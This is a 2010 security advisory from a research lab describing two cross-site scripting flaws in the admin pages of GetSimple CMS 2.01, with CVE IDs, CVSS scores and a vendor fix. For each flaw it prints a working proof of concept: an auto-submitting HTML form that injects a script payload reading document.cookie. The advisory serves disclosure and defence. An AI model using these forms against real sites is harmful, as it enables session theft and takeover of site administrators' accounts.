Stay in touch

Get our research, blog and event invitations before everybody else!

Your data will stay confidential

Multiple Cross-site Scripting Vulnerabilities in GetSimple CMS

Advisory ID:HTB22375
Product:GetSimple CMS
Vendor:Cagintranet Networks
Vulnerable Versions:2.01 and probably prior
Tested Version:2.01
Advisory Publication:May 10, 2010 [without technical details]
Vendor Notification:May 10, 2010
Public Disclosure:May 24, 2010
Vulnerability Type:Cross-Site Scripting [CWE-79]
CVE References:CVE-2010-5052
CVE-2010-4863
Risk Level:Low
CVSSv2 Base Scores:2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
2.6 (AV:N/AC:H/Au:N/C:N/I:P/A:N)
Solution Status:Fixed by Vendor
Discovered and Provided:High-Tech Bridge Security Research Lab
 

Advisory Details:

High-Tech Bridge SA Security Research Lab has discovered two vulnerabilities in GetSimple CMS which could be exploited to perform cross-site scripting attacks.

1) Cross-site scripting vulnerability in GetSimple CMS: CVE-2010-5052
The vulnerability exists due to input sanitation error in the "val[]" parameter in /admin/components.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action="http://host/admin/components.php" method="post" name="main" accept-charset="utf-8" >
<input type="hidden" name="submitted" value="Save Components" />
<input name="val[]" type="hidden" value='Some text here..."><script>alert(document.cookie)</script>' />
<input type="hidden" name="slug[]" value="sidebar" />
<input type="hidden" name="title[]" value="Sidebar" />
<input type="hidden" name="id[]" value="0" />
<input type="hidden" name="val[]" value="Just Another GetSimple Website" />
<input type="hidden" name="slug[]" value="tagline" />
<input type="hidden" name="title[]" value="Tagline" />
<input type="hidden" name="id[]" value="1" />
</form>
<script>
document.main.submit();
</script>


2) Cross-site scripting vulnerability in GetSimple CMS: CVE-2010-4863
The vulnerability exists due to input sanitation error in the "post-title" parameter in /admin/changedata.php. A remote attacker can send a specially crafted HTTP POST request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
<form action="http://host/admin/changedata.php" method="post" name="main" >
<input type="hidden" name="post-title" value='page title"><script>alert(document.cookie)</script>' />
<input type="hidden" name="post-id" value="test" />
<input type="hidden" name="post-metak" value="" />
<input type="hidden" name="post-metad" value="" />
<input type="hidden" name="post-parent" value="" />
<input type="hidden" name="post-template" value="template.php" />
<input type="hidden" name="post-menu" value="test" />
<input type="hidden" name="post-menu-order" value="" />
<input type="hidden" name="post-content" value="page html" />
<input type="hidden" name="existing-url" value="test" />
<input type="hidden" name="submitted" value="Save Updates" />
</form>
<script>
document.main.submit();
</script>


ImmuniWeb® On-Demand Web Application Penetration Test


Solution:
Upgrade to the most recent version


References:
[1] High-Tech Bridge Advisory HTB22375 - https://www.htbridge.com/advisory/HTB22375 - Multiple Cross-site Scripting Vulnerabilities in GetSimple CMS
[2] GetSimple CMS - get-simple.info - GetSimple is an XML based, stand-a-alone, fully independant and lite Content Management System.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
User Comments
Add Comment


Have additional information to submit?
Please feel free to send us any additional information related to this Advisory, such as vulnerable versions, additional exploitation details and conditions, patches and other relevant details.